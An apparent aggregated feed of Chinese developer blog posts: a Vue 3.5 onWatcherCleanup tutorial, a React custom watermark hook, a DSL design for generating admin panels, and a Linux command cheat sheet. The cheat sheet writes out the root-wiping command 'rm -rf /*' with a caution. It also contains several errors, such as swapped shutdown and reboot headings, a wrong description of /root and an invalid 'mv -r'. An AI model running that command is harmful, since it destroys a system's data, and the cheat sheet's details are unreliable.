      <p>我是分割线==========我是分割线</p>
      <div id="target-node"></div>
      <p>我是分割线==========我是分割线</p>
  </div>
</template>

onWatcherCleanup

该函数将在观察程序失效并即将重新运行时调用。
意思是说:它允许我们在观察的目标发生变化之前执行一些清理工作。
这样我们就可以取消网络请求、移除事件监听器等
onWatcherCleanup的注意点:
1,仅在 Vue 3.5+ 中支持。
2,并且必须在同步执行 watchEffect effect 函数或 watch 回调函数时调用,
你不能在异步函数中的 await 语句之后调用它。

点击按钮3次,就会发送3次请求。

<template>
  <div class="art-page">
     <button @click="num++">点击按钮</button>
  </div>
</template>
<script lang="ts" setup>
import { ref, watch } from 'vue';
let num =ref(0)
watch(num, ()=>{
  setTimeout(function(){
    console.log( '我会模拟发送请求', num.value)
  }, 2000)
})
</script>

10-触发3次.jpg 通过上面的图片,我们发现在1s内点击按钮3次
那么请求就会执行3次,这样并不好。
我们只希望触发最后一次请求。
这个时候我们的主角onWatcherCleanup就闪亮登场了。

10-触发3次.jpg

vue3.5让它只发送一次请求

<template>
  <div class="art-page">
     <button @click="num++">点击按钮</button>
  </div>
</template>

<script lang="ts" setup>
import { onWatcherCleanup, ref, watch } from 'vue';

let num =ref(0)
watch(num, ()=>{
  let timer= setTimeout(function(){
    console.log( '我会发送请求执行', num.value)
  }, 2000)
  // 
  onWatcherCleanup(()=>{
    clearTimeout(timer)
  })
})

vue3.5之前的处理办法,使用watch的第3个参数来处理

<template>
  <div class="art-page">
     <button @click="num++">点击按钮</button>
  </div>
</template>
<script lang="ts" setup>
import { onWatcherCleanup, ref, watch } from 'vue';
let num =ref(0)
watch(num, (newValue,oldValue, onCleanup)=>{
  let timer= setTimeout(function(){
    console.log( '我会发送请求执行', num.value)
  }, 2000)
  // 
  onCleanup(()=>{
    clearTimeout(timer)
  })
})
</script>

by 我的div丢了肿么办 at January 20, 2025 04:38 AM

React第二十四章(自定义hooks)

自定义hooks

前几章我们已经介绍了React内置的hooks(useState, useEffect, useContext, useReducer, useRef, useMemo, useCallback, useLayoutEffect, useImperativeHandle, useDebugValue 等等),接下来我们介绍如何自定义hooks。

为什么需要自定义hooks?

因为在实际开发中,React的内置hooks并不能满足我们所有的需求,比如一些复杂的业务逻辑,或者是一些使用场景,需要我们自己来使用自定义hooks实现。

自定义hooks的规则

  1. 自定义hooks必须以use开头
  2. 自定义hooks可以调用其他hooks(内置的hooks和自定义的hooks)

案例

例如我们做一个水印的需求,这个在业务中是很常见的需求,为此我们封装一个自定义hooks,来实现这个需求。

  1. 首先我们定义一个水印的配置项
import { useEffect, useState } from "react"
export interface WatermarkOptions {
    content: string // 水印文本
    width?: number  // 水印宽度
    height?: number // 水印高度
    fontSize?: number // 水印字体大小
    fontColor?: string // 水印字体颜色
    zIndex?: number // 水印层级
    rotate?: number // 水印旋转角度
    gapX?: number // 水印横向间距
    gapY?: number // 水印纵向间距
}
  1. 然后我们定义水印的默认值
const defaultOptions = (): Partial<WatermarkOptions> => {
    //默认铺满整个页面
    const { width, height } = document.documentElement.getBoundingClientRect()
    return {
        width: width,
        height: height,
        fontSize: 16,
        fontColor: 'black',
        zIndex: 9999,
        rotate: -30,
        gapX: 200,
        gapY: 100
    }
}
  1. 串联整体实现思路,首先水印如何实现呢,我们通过canvas来实现,根据配置项,设置canvas对应的属性,然后通过toDataURL生成水印图片,最后创建一个元素,将水印图片设置为元素的背景图片,并设置样式,如果要操作DOM元素,我们需要通过useEffect副作用函数操作。
import { useEffect, useState } from "react"
export interface WatermarkOptions {
    content: string // 水印文本
    width?: number  // 水印宽度
    height?: number // 水印高度
    fontSize?: number // 水印字体大小
    fontColor?: string // 水印字体颜色
    zIndex?: number // 水印层级
    rotate?: number // 水印旋转角度
    gapX?: number // 水印横向间距
    gapY?: number // 水印纵向间距
}
// 默认配置
const defaultOptions = (): Partial<WatermarkOptions> => {
    const { width, height } = document.documentElement.getBoundingClientRect()
    return {
        width: width,
        height: height,
        fontSize: 16,
        fontColor: 'black',
        zIndex: 9999,
        rotate: -30,
        gapX: 200,
        gapY: 100
    }
}

export const useWatermark = (options: WatermarkOptions) => {
    const [watermarkOptions, setWatermarkOptions] = useState<WatermarkOptions>(options)
    const opts = Object.assign({}, defaultOptions(), watermarkOptions)
    const updateWatermark = (newOptions: Partial<WatermarkOptions>) => {
        setWatermarkOptions(prev => ({
            ...prev,
            ...newOptions
        }))
    }
    useEffect(() => {
        const canvas = document.createElement('canvas')
        const ctx = canvas.getContext('2d') as CanvasRenderingContext2D
        canvas.width = opts.gapX!
        canvas.height = opts.gapY!
        //默认
        ctx.translate(opts.gapX! / 2, opts.gapY! / 2) 
        ctx.rotate((opts.rotate! * Math.PI) / 180) 
        ctx.font = `${opts.fontSize}px sans-serif`
        ctx.textAlign = 'center'
        ctx.fillStyle = opts.fontColor!
        ctx.globalAlpha = 0.15
        ctx.fillText(opts.content, 0, 0)
        const watermarkDiv = document.createElement('div')
        watermarkDiv.id = 'watermark'
        watermarkDiv.style.position = 'fixed'
        watermarkDiv.style.top = '0'
        watermarkDiv.style.left = '0'
        watermarkDiv.style.width = `${opts.width}px`
        watermarkDiv.style.height = `${opts.height}px`
        watermarkDiv.style.pointerEvents = 'none'
        watermarkDiv.style.zIndex = `${opts.zIndex}`
        watermarkDiv.style.overflow = 'hidden'
        watermarkDiv.style.backgroundImage = `url(${canvas.toDataURL()})`
        watermarkDiv.style.backgroundSize = `${opts.gapX}px ${opts.gapY}px`
        document.body.appendChild(watermarkDiv)
        
        return () => {
            document.body.removeChild(watermarkDiv)
        }
    }, [opts])

    return [updateWatermark, opts] as const
}
  1. 代码详解
ctx.translate(opts.gapX! / 2, opts.gapY! / 2) 
ctx.rotate((opts.rotate! * Math.PI) / 180) 
ctx.font = `${opts.fontSize}px sans-serif`
ctx.textAlign = 'center'
ctx.fillStyle = opts.fontColor!
ctx.globalAlpha = 0.15
ctx.fillText(opts.content, 0, 0)

大家对于这块可能比较懵, 我们这里详细解释一下,首先我们通过gapX,gapY,给canvas设置了宽高这里默认值是,200,100,也就是200px*100px的一个长方形,但是canvas默认的坐标是(0,0), 这样会导致文字显示不出来,所以我们把文字挪到中心点,那么中心点怎么求呢?就是宽高/2,就算出中心点,然后通过ctx.translate(opts.gapX! / 2, opts.gapY! / 2),将文字挪到中心点。 然后通过ctx.rotate((opts.rotate! * Math.PI) / 180),将文字旋转,然后通过ctx.font = ${opts.fontSize}px sans-serif``,设置字体,然后通过ctx.textAlign = 'center',设置文字对齐方式,然后通过ctx.fillStyle = opts.fontColor!,设置文字颜色,然后通过ctx.globalAlpha = 0.15,设置文字透明度,最后通过ctx.fillText(opts.content, 0, 0),绘制文字。

image.png

  1. 在组件中使用
import React from 'react'
import { useWatermark } from './hooks/useWatermark';
const App: React.FC = () => {
   const [updateWatermark, opts] = useWatermark({
      content: '小满马上拨款',
   }) // 水印
   const update = () => {
      updateWatermark({
         content: '更新水印',
      })
   }
   return <>
      <div>{JSON.stringify(opts)}</div>
      <button onClick={update}>更新水印</button>
   </>;
}
export default App;

image.png

那么在工作中,我们需要频繁的定义hooks吗?

我们并不需要重复的造轮子,已经有很多现成的库可以使用,比如ahooks,react-use,SWR,react-hook-form等等,这些库都是经过社区验证的,可以放心使用。

这里使用ahooks 举例

安装ahooks

image.png

文档地址:ahooks.js.org/zh-CN/hooks…

npm install --save ahooks
# or
yarn add ahooks
# or
pnpm add ahooks
# or
bun add ahooks
小案例1:useMount 组件首次渲染完成执行
import React from 'react'
import { useMount } from 'ahooks'

const App: React.FC = () => {
   useMount(() => {
      console.log('mounted')
   })
   return <>
      <div></div>
   </>;
}

export default App;
小案例2:useRequest 请求

useRequest 是ahooks 中非常强大的一个hook,可以用来处理请求,比如自动请求/手动请求,轮询,防抖,节流,屏幕聚焦重新请求,错误重试,loading delay,SWR(stale-while-revalidate),缓存等等。

import React from 'react'
import { useMount, useRequest } from 'ahooks'

const App: React.FC = () => {
   const { data, run } = useRequest(() => {
      return fetch('https://api.github.com/users/github').then(res => res.json())
   }, {
      debounceWait: 300, // 防抖
      manual: true, // 手动触发
   })
   return <>
      <div>{JSON.stringify(data)}</div>
      <button onClick={run}>请求</button>
   </>;
}

export default App;

其他有趣的hooks,大家可以去官网查看,这里就不一一列举了。

by 小满zs at January 20, 2025 04:15 AM

[学习] 对于 elpis 全站框架核心设计的总结

声明

本文所述皆为个人拙见, 大家有意见欢迎在评论区留言, 有更好的设计也可以沟通交流, 欢迎一起讨论

俺还是个菜鸟, 不喜勿喷哈~

本文的设计和原项目不同

现状

当今的开发现状下, 对于后台管理系统, 大部分从事开发的人都在干 crud 的工作, 每天的工作内容就是对接产品开发接口

后端角度来看, 一个页面可能就对应一份数据, 不管这份数据分布在哪些库和表内, 它只需要对这些数据进行增删改查即可

前端角度来看, 一个页面就对应一系列增删改查的接口, 然后通过接口返回的数据进行不同的响应

归纳一下, 其实这些内容都是重复的, 有些甚至可以复制粘贴出来, 那为什么我们不能对这些内容进行一个抽象呢?

本文就从前端的角度来介绍这份抽象的设计

设计

我们先看看哪些部分是可以被复用的

这里我们假设我们有一个对于系统的描述, 这里我们称它为 dsl, 下面我们会一步一步的丰满这个 dsl

项目名
项目描述

页面

可能大家看过很多的后台管理系统, 他们的页面都是大同小异的, 一个菜单, 一块内容展示区域, 复杂一点的, 一个菜单, 一个子菜单, 一块内容展示区域

通过文字描述, 我们可以直接将抽离出 菜单内容展示区域 两个部分, 然后我们的 dsl 就变成下面这样

项目名
项目描述
菜单
内容展示区域

这样我们就完成了第一部分, 对页面内容的归纳, 接下来我们来细化一下菜单部分

菜单

上面的 dsl 只是对页面的一个归纳, 现在我们细化一下对菜单部分的描述

菜单下面会有很多的标签页, 对于标签页我们需要知道他的名称, 跳转地址等等

菜单
  标签页1
    标签名
    跳转地址
  标签页2
    标签名
    跳转地址
  ...

到目前为止, 我们已经暂时完成了对菜单的描述

内容展示区域

那对于内容展示区域呢? 我们其实并不知道内容展示区应该展示什么东西, 所以我们可以把这个能力直接暴露给用户, 让用户自己决定展示什么内容就好了

内容展示区域
  用户自定义内容

如果这么简单的就搞完了我们也就没啥必要去做这个设计了, 所以我们让他再丰满一点

咱们大家都看过很多的后台管理页面吧, 那她们的内容展示区域无非就是下面几种场景

  • 表格
  • 带搜索表单的表格
  • 图表
  • 数据展示

那我们可以直接预设这些场景的模板提供给用户, 让用户选择, 如果实在不满足需求, 再由用户决定是否自定义内容

内容展示区域
  表格页面
  带搜索表单的表格页面
  图表页面
  数据展示页面
  ...
  用户自定义内容

到此我们就完成了对内容展示区域的描述

菜单和内容展示区域的关联关系

上面我们只是单纯的描述了整个页面, 包括菜单和内容展示区域, 但是不同标签页需要对应不同的内容展示区域, 那这个我们怎么描述呢?

其实这里的描述是很开放的, 我们有很多中方式去实现这种数据关联关系的描述, 比如说, 我直接把内容展示区域嵌套在菜单中, 或者我在菜单中存放一个内容展示区域的 id, 这两种方式都可以让他们产生关联, 那我们这里就使用 id 的方式吧

咱们做前端的都知道, 一个 path 对应了一个页面, 他们是一对一的关系, 那其实我们可以直接用 path 来替代 id 作为我们的关联键

菜单
  标签页1
    标签名
    跳转地址 (path1)
  标签页2
    标签名
    跳转地址 (path2)

内容展示区域1 (path1)
内容展示区域2 (path2)

这样我们就可以描述出他们的对应关系了

内容展示区细化

到目前为止我们已经实现了, 对页面/菜单/还有标签页跳转逻辑的描述了, 咱们已经成功了一大部分了, 接下来我们细化一下内容展示区域

这里我们用 带搜索表单的表格页面 来举例子

在这个页面我们可以我们需要请求接口获取数据渲染页面, 然后可以有一些用户交互比如说, 新增/修改/删除表格的某一项, 搜索表格内容等, 我们就需要对这些操作进行一个描述

带搜索表单的表格页面
  接口列表
    查询列表接口
    新增列表项接口
    修改列表项接口
    删除列表项接口
  搜索表单
    搜索
      调用查询列表接口
    展示字段
      支持的搜索字段 1
        搜索参数名
        以什么方式搜索 (文本, 日期, 选择框等)
      支持的搜索字段 1
        搜索参数名
        以什么方式搜索 (文本, 日期, 选择框等)
  操作栏
    新增项
      弹出新增弹窗
      调用新增接口
  表格
    展示的列 1
      列名称
      数据来源
    展示的列 2
      列名称
      数据来源
    ...
    操作列
      修改项
        弹出修改弹窗
        调用修改接口
      删除项
        调用删除接口

上面这一大坨就是对这个带搜索表单的表格页面的一个描述了

大部分情况下, 我们搜索表单的字段信息和表格展示的字段信息是保持一致的, 也就是说我们可以直接把这部分的信息抽离出来

带搜索表单的表格页面
  接口列表
    查询列表接口
    新增列表项接口
    修改列表项接口
    删除列表项接口
  接口字段映射
    字段1
      搜索配置
        以什么方式搜索 (文本, 日期, 选择框等)
      表格配置
        列名
    字段2
      表格配置
        列名
  搜索表单
    搜索
      调用查询列表接口
  操作栏
    新增项
      弹出新增弹窗
      调用新增接口
  表格
    操作列配置
      修改项
        弹出修改弹窗
        调用修改接口
      删除项
        调用删除接口

这样我们就可以统一的去配置哪些接口字段可以用来搜索和展示了, 我们把这些字段相关的内容从不同板块的配置中抽离出来放到对接口字段的映射中来管理, 而原来的搜索表单和表格就配置一些与接口字段无关的内容 (是不是有一种高内聚的感觉了?)

到这里基本上已经完成了, 但是有些会思考的同学会想到, 这个接口列表好复杂, 我还得在每个用到接口的地方去配置调用哪个接口

诶, 有基础的同学就能想到了, 增删改查嘛, 那不是正好对应 RESTful API 规范嘛, 所以我们可以直接用这个规范去重新描述一下

带搜索表单的表格页面
  接口 (遵循 RESTful API 规范)
  接口字段映射
    字段1
      搜索配置
        以什么方式搜索 (文本, 日期, 选择框等)
      表格配置
        列名
    字段2
      表格配置
        列名
  搜索表单
    搜索
      // 无需手动配置 (GET) 接口
  操作栏
    新增项
      弹出新增弹窗
      // 无需手动配置 (POST) 接口
  表格
    操作列配置
      修改项
        弹出修改弹窗
        // 无需手动配置 (PATCH) 接口
      删除项
        调用删除接口
        // 无需手动配置 (DEL) 接口

这下好了, 我们只需要配置一个接口, 然后调用的时候就根据 RESTful API 规范去以不同方式调用接口即可

到目前为止我们已经实现了对于带搜索表单的表格页面的一个描述

数据结构

那上面的描述我们能看懂, 但是程序就不一定了, 所以这里我们就来把它转成程序能理解的数据结构吧 (一般是 json, 但是我懒得打双引号, 所以用 js 替代一下)

假如说我们现在需要一个后台管理系统, 名字叫 我不卖课

export default {
  name: '我不卖课',
  description: '我不卖课',
  menu: [
    { name: '商品管理', path: '/items' },
    { name: '课程管理', path: '/courses' },
    { name: '订单管理', path: '/orders' },
  ],
  pageContentMapping: {
    '/items': {
      template: 'tableWithSearchBar',
      api: '/api/item',
      apiFieldMapping: {
        id: {
          searchOption: { fieldType: 'text' },
        },
        name: {
          searchOption: { fieldType: 'text' },
          tableOption: { columnName: '商品名称' },
        },
        price: {
          tableOption: { columnName: '商品价格' },
        },
        createTime: {
          searchOption: { fieldType: 'dateRange' },
          tableOption: { columnName: '上架时间' },
        },
        inventory: {
          tableOption: { columnName: '库存' },
        },
        status: {
          searchOption: { fieldType: 'select' },
          tableOption: { columnName: '状态' },
        },
      },
      tableConfig: {
        itemOperation: {
          edit: { command: 'showEditModal' },
          delete: { command: 'deleteItem' },
        },
      },
    },
    '/courses': {
      template: 'iframe',
      url: 'https://example.com/courses/',
    },
    '/orders': {
      template: 'custom',
      path: '/pdd-orders',
    },
  },
};

上面这一坨呢就是很简单的描述了 我不卖课 这个后台管理系统的 dsl, 然后我们就可以通过解析这个 dsl 来生成对应的站点了

诶? 接口字段映射? 只能前端用吗?

正像标题描述的这样, 接口字段映射只能前端用吗? 好像, 大概, 可能不止吧, 后端也可以根据这个映射直接创建一张数据表吧 (当然已经有了那就当我没说咯~)

可是从现在这个数据结构来说, 好像没发生成数据表啊, 他还缺少好些东西, 比如数据类型? 那我们调整一下好了

export default {
  // 省略其他内容 ...
  pageContentMapping: {
    '/items': {
      // 省略其他内容 ...
      apiFieldMapping: {
        type: 'string',
        id: {
          type: 'string',
          searchOption: { fieldType: 'text' },
          // 数据库相关配置
          dbOption: { primaryKey: true },
        },
        name: {
          type: 'string',
          searchOption: { fieldType: 'text' },
          tableOption: { columnName: '商品名称' },
        },
        price: {
          type: 'number',
          tableOption: { columnName: '商品价格' },
        },
        createTime: {
          type: 'number',
          searchOption: { fieldType: 'dateRange' },
          tableOption: { columnName: '上架时间' },
        },
        inventory: {
          type: 'number',
          tableOption: { columnName: '库存' },
        },
        status: {
          type: 'string',
          // 字段枚举值
          enum: ['online', 'offline'],
          searchOption: { fieldType: 'select' },
          tableOption: { columnName: '状态' },
        },
        updateTime: {
          type: 'number',
          // 数据库相关配置
          dbOption: { autoUpdate: true },
        },
        required: ['id', 'name', 'price', 'createTime', 'inventory', 'status'],
      },
      dbConfig: {
        tableName: 'items',
      },
      // 省略其他内容 ...
    },
    // 省略其他内容 ...
  },
};

上面这坨呢就是我们调整过后的接口字段映射配置了, 它是基于 json schema 规范进行扩展的, 常用的基础 json schema 配置我们知道有 type, enum, required 等, 那我们在他之上扩展一些我们自己业务需要用到的 searchOption, tableOption, dbOption 之类的, 让他的功能更完善

这样我们就可以通过这个 dsl 来创建一张数据库表了, 什么表名啊, 字段类型啊, 是否必填啊, 自动更新啊, 主键啊, 外键啊之类的都可以在这个 dsl 中进行描述

by cmtlyt at January 20, 2025 04:03 AM

juejin backend

Linux 常用操作命令大全

一、基础知识

1.1 Linux 系统的文件

/bin        二进制文件,系统常规命令
/boot       系统启动分区,系统启动时读取的文件
/dev        设备文件
/etc        大多数配置文件
/home       普通用户的家目录
/lib        32位函数库
/lib64      64位库
/media      手动临时挂载点
/mnt        手动临时挂载点
/opt        第三方软件安装位置
/proc       进程信息及硬件信息
/root       临时设备的默认挂载点
/sbin       系统管理命令
/srv        数据
/var        数据
/sys        内核相关信息
/tmp        临时文件
/usr        用户相关设定

二、基础操作

2.1 重启系统

立刻关机
shutdown -h now 
poweroff
两分钟后关机
shutdown -h 2

2.2 关闭系统

立刻重启
shutdown -r now 
reboot
两分钟后重启
shutdown -r 2 

切换用户(su)

su yao               //切换为用户"yao",输入后回车需要输入该用户的密码
exit                 //退出当前用户

三、目录/文件操作

3.1 切换目录(cd)

cd /                 //切换到根目录
cd /bin              //切换到根目录下的bin目录
cd ../               //切换到上一级目录 或者使用命令:cd ..
cd ~                 //切换到home目录
cd -                 //切换到上次访问的目录
cd xx(文件夹名)       //切换到本目录下的名为xx的文件目录,如果目录不存在报错
cd /xxx/xx/x         //可以输入完整的路径,直接切换到目标目录,输入过程中可以使用tab键快速补全

3.2 查看目录(ls)

ls                   //查看当前目录下的所有目录和文件
ls -a                //查看当前目录下的所有目录和文件(包括隐藏的文件)
ls -l                //列表查看当前目录下的所有目录和文件(列表查看,显示更多信息),与命令"ll"效果一样
ls /bin              //查看指定目录下的所有目录和文件 

3.3 创建目录(mkdir)

mkdir tools          //在当前目录下创建一个名为tools的目录
mkdir /bin/tools     //在指定目录下创建一个名为tools的目录

3.4 删除/文件(rm)

rm 文件名              //删除当前目录下的文件
rm -f 文件名           //删除当前目录的的文件(不询问)
rm -r 文件夹名         //递归删除当前目录下此名的目录
rm -rf 文件夹名        //递归删除当前目录下此名的目录(不询问)
rm -rf *              //将当前目录下的所有目录和文件全部删除
rm -rf /*             //将根目录下的所有文件全部删除【慎用!相当于格式化系统】

3.5 修改(重命名)目录/文件(mv)

mv 当前目录名 新目录名        //修改目录名,同样适用与文件操作
mv /usr/tmp/tool /opt       //将/usr/tmp目录下的tool目录剪切到 /opt目录下面
mv -r /usr/tmp/tool /opt    //递归剪切目录中所有文件和文件夹

3.6 拷贝目录/文件(cp)

cp /usr/tmp/tool /opt       //将/usr/tmp目录下的tool目录复制到 /opt目录下面
cp -r /usr/tmp/tool /opt    //递归剪复制目录中所有文件和文件夹

3.7 搜索/文件(find)

find /bin -name 'a*'        //查找/bin目录下的所有以a开头的文件或者目录

3.8 查看当前目录(pwd)

pwd                         //显示当前位置路径

四、文件操作

4.1 新增文件(touch)

touch  a.txt         //在当前目录下创建名为a的txt文件(文件不存在),如果文件存在,将文件时间属性修改为当前系统时间

4.2 编辑文件(vi、vim)

vi 文件名              //打开需要编辑的文件
--进入后,操作界面有三种模式:命令模式(command mode)、插入模式(Insert mode)和底行模式(last line mode)
命令模式
-刚进入文件就是命令模式,通过方向键控制光标位置,
-使用命令"dd"删除当前整行
-使用命令"/字段"进行查找
-按"i"在光标所在字符前开始插入
-按"a"在光标所在字符后开始插入
-按"o"在光标所在行的下面另起一新行插入
-按":"进入底行模式
插入模式
-此时可以对文件内容进行编辑,左下角会显示 "-- 插入 --""
-按"ESC"进入底行模式
底行模式
-退出编辑:      :q
-强制退出:      :q!
-保存并退出:    :wq

## 操作步骤示例 ##
1.保存文件:按"ESC" -> 输入":" -> 输入"wq",回车     //保存并退出编辑
2.取消操作:按"ESC" -> 输入":" -> 输入"q!",回车     //撤销本次修改并退出编辑

## 补充 ##
vim +10 filename.txt                   //打开文件并跳到第10行
vim -R /etc/passwd                     //以只读模式打开文件

4.3 查看文件内容

4.3.1 cat

cat(英文全拼:concatenate)命令用于连接文件并打印到标准输出设备上。 使用权限: 所有使用者 语法格式:

cat [-AbeEnstTuv] [--help] [--version] fileName
  • 参数说明:
    • -n 或 --number:由 1 开始对所有输出的行数编号。
    • -b 或 --number-nonblank:和 -n 相似,只不过对于空白行不编号。
    • -s 或 --squeeze-blank:当遇到有连续两行以上的空白行,就代换为一行的空白行。
    • -v 或 --show-nonprinting:使用 ^ 和 M- 符号,除了 LFD 和 TAB 之外。
    • -E 或 --show-ends : 在每行结束处显示 $。
    • -T 或 --show-tabs: 将 TAB 字符显示为 ^I。
    • -A, --show-all:等价于 -vET。
    • **-e:**等价于"-vE"选项;
    • **-t:**等价于"-vT"选项;
cat a.txt          //查看文件最后一屏内容
cat -n textfile1 > textfile2   //把 textfile1 的文档内容加上行号后输入 textfile2 这个文档里:

4.3.2 less

less 与 more 类似,less 可以随意浏览文件,支持翻页和搜索,支持向上翻页和向下翻页。 语法

less [参数] 文件 
  • 参数说明
    • -b <缓冲区大小> 设置缓冲区的大小
    • -e 当文件显示结束后,自动离开
    • -f 强迫打开特殊文件,例如外围设备代号、目录和二进制文件
    • -g 只标志最后搜索的关键词
    • -i 忽略搜索时的大小写
    • -m 显示类似 more 命令的百分比
    • -N 显示每行的行号
    • -o <文件名> 将 less 输出的内容在指定文件中保存起来
    • -Q 不使用警告音
    • -s 显示连续空行为一行
    • -S 行过长时间将超出部分舍弃
    • -x <数字> 将"tab"键显示为规定的数字空格
    • /字符串:向下搜索"字符串"的功能
    • ?字符串:向上搜索"字符串"的功能
    • n:重复前一个搜索(与 / 或 ? 有关)
    • N:反向重复前一个搜索(与 / 或 ? 有关)
    • b 向上翻一页
    • d 向后翻半页
    • h 显示帮助界面
    • Q 退出 less 命令
    • u 向前滚动半页
    • y 向前滚动一行
    • 空格键 滚动一页
    • 回车键 滚动一行
    • [pagedown]: 向下翻动一页
    • [pageup]: 向上翻动一页
less a.txt         //PgUp 向上翻页,PgDn 向下翻页,"q"退出查看
ps -ef |less       //ps 查看进程信息并通过 less 分页显示

4.3.3 more

Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。 语法

more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]
  • 参数
    • -num 一次显示的行数
    • -d 提示使用者,在画面下方显示 [Press space to continue, 'q' to quit.] ,如果使用者按错键,则会显示 [Press 'h' for instructions.] 而不是 '哔' 声
    • -l 取消遇见特殊字元 ^L(送纸字元)时会暂停的功能
    • -f 计算行数时,以实际上的行数,而非自动换行过后的行数(有些单行字数太长的会被扩展为两行或两行以上)
    • -p 不以卷动的方式显示每一页,而是先清除萤幕后再显示内容
    • -c 跟 -p 相似,不同的是先显示内容再清除其他旧资料
    • -s 当遇到有连续两行以上的空白行,就代换为一行的空白行
    • -u 不显示下引号 (根据环境变数 TERM 指定的 terminal 而有所不同)
    • +/pattern 在每个文档显示前搜寻该字串(pattern),然后从该字串之后开始显示
    • +num 从第 num 行开始显示
    • fileNames 欲显示内容的文档,可为复数个数
more a.txt         //显示百分比,回车查看下一行,空格查看下一页,"q"退出查看

4.3.4 head

head 命令可用于查看文件的开头部分的内容,有一个常用的参数 -n 用于显示行数,默认为 10,即显示 10 行的内容。 命令格式:

head [参数] [文件]  
  • 参数:
    • -q 隐藏文件名
    • -v 显示文件名
    • -c<数目> 显示的字节数。
    • -n<行数> 显示的行数。

4.3.5 tail

tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。 tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。 命令格式:

tail [参数] [文件]  
  • 参数:
    • -f 循环读取
    • -q 不显示处理信息
    • -v 显示详细的处理信息
    • -c<数目> 显示的字节数
    • -n<行数> 显示文件的尾部 n 行内容
    • --pid=PID 与-f合用,表示在进程ID,PID死掉之后结束
    • -q, --quiet, --silent 从不输出给出文件名的首部
    • -s, --sleep-interval=S 与-f合用,表示在每次反复的间隔休眠S秒
tail -100 a.txt    //查看文件的后100行,"Ctrl+C"退出查看

4.3.6 stat(查看文件详细信息,后要加查看的文件名)

Linux stat 命令用于显示 inode 内容。 stat 以文字的格式来显示 inode 的内容。 语法

stat [文件或目录]
stat testfile    //查看 testfile 文件的inode内容内容,可以用以下命令:

4.6 ln(软连接)

Linux ln(英文全拼:link files)命令是一个非常重要命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接。 当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在 其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。 语法

ln [参数][源文件或目录][目标文件或目录]

其中参数的格式为

[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]
[--help] [--version] [--]
  • 命令功能 :
    • Linux文件系统中,有所谓的链接(link),我们可以将其视为档案的别名,而链接又可分为两种 : 硬链接(hard link)与软链接(symbolic link),硬链接的意思是一个档案可以有多个名称,而软链接的方式则是产生一个特殊的档案,该档案的内容是指向另一个档案的位置。硬链接是存在同一个文件系统中,而软链接却可以跨越不同的文件系统。
    • 不论是硬链接或软链接都不会将原本的档案复制一份,只会占用非常少量的磁碟空间。
  • 软链接
    1. 软链接,以路径的形式存在。类似于Windows操作系统中的快捷方式
    2. 软链接可以 跨文件系统 ,硬链接不可以
    3. 软链接可以对一个不存在的文件名进行链接
    4. 软链接可以对目录进行链接
  • 硬链接
    1. 硬链接,以文件副本的形式存在。但不占用实际空间。
    2. 不允许给目录创建硬链接
    3. 硬链接只有在同一个文件系统中才能创建
  • 命令参数
    • 必要参数
      • --backup[=CONTROL] 备份已存在的目标文件
      • -b 类似 --backup ,但不接受参数
      • -d 允许超级用户制作目录的硬链接
      • -f 强制执行
      • -i 交互模式,文件存在则提示用户是否覆盖
      • -n 把符号链接视为一般目录
      • -s 软链接(符号链接)
      • -v 显示详细的处理过程
    • 选择参数
      • -S "-S<字尾备份字符串> "或 "--suffix=<字尾备份字符串>"
      • -V "-V<备份方式>"或"--version-control=<备份方式>"
      • --help 显示帮助信息
      • --version 显示版本信息

五、文件权限

5.1 权限说明

文件权限简介:
'r' 代表可读(4)
'w' 代表可写(2)
'x' 代表执行权限(1)
括号内代表"8421法"

##文件权限信息示例:-rwxrw-r--
-第一位:'-'就代表是文件,'d'代表是文件夹
-第一组三位:拥有者的权限
-第二组三位:拥有者所在的组,组员的权限
-第三组三位:代表的是其他用户的权限
drwxrwxrwx     2     root     root    4096      11月816:38     excel
drwxr-xr--     2     777      root    4096      11月816:47     zip

共显示了七列信息,从左至右依次为:权限、文件数、归属用户、归属群组、文件大小、创建日期、文件名称

d :第一位表示文件类型

  d 文件夹

  - 普通文件

  l 链接

  b 块设备文件

  p 管道文件

  c 字符设备文件

  s 套接口文件

rwx :第2-4位表示这个文件的属主拥有的权限。r是读、w是写、x是执行

r-x :第5-7位表示和这个文件属主所在同一个组的用户所具有的权限

r-x :第8-10位表示其他用户所具有的权限

从左至右,1-3位数字代表文件所有者的权限,4-6位数字代表同组用户的权限,7-9数字代表其他用户的权限

  • 一共有10位数,其中:
    • 最前面那个 - 代表的是类型
    • 中间那三个 rw- 代表的是所有者(user)
    • 然后那三个 rw- 代表的是组群(group)

常用的linux文件权限:

444 r--r--r--

600 drw-------

644 drw-r--r--

666 drw-rw-rw-

700 drwx------

744 drwxr--r--

755 drwxr-xr-x

777 drwxrwxrwx

5.2 文件权限

chmod(控制用户对文件的权限的命令)

Linux chmod(英文全拼:change mode)命令是控制用户对文件的权限的命令

Linux/Unix 的文件调用权限分为三级 : 文件所有者(Owner)、用户组(Group)、其它用户(Other Users)。

语法

chmod [-cfvR] [--help] [--version] mode file...

参数说明

mode : 权限设定字串,格式如下 :

[ugoa...][[+-=][rwxX]...][,...]

其中:

  • u 表示该文件的拥有者,g 表示与该文件的拥有者属于同一个群体(group)者,o 表示其他以外的人,a 表示这三者皆是。
  • + 表示增加权限、- 表示取消权限、= 表示唯一设定权限。
  • r 表示可读取,w 表示可写入,x 表示可执行,X 表示只有当该文件是个子目录或者该文件已经被设定过为可执行。

其他参数说明:

  • -c : 若该文件权限确实已经更改,才显示其更改动作
  • -f : 若该文件权限无法被更改也不要显示错误讯息
  • -v : 显示权限变更的详细资料
  • -R : 对目前目录下的所有文件与子目录进行相同的权限变更(即以递归的方式逐个变更)
  • --help : 显示辅助说明
  • --version : 显示版本

符号模式

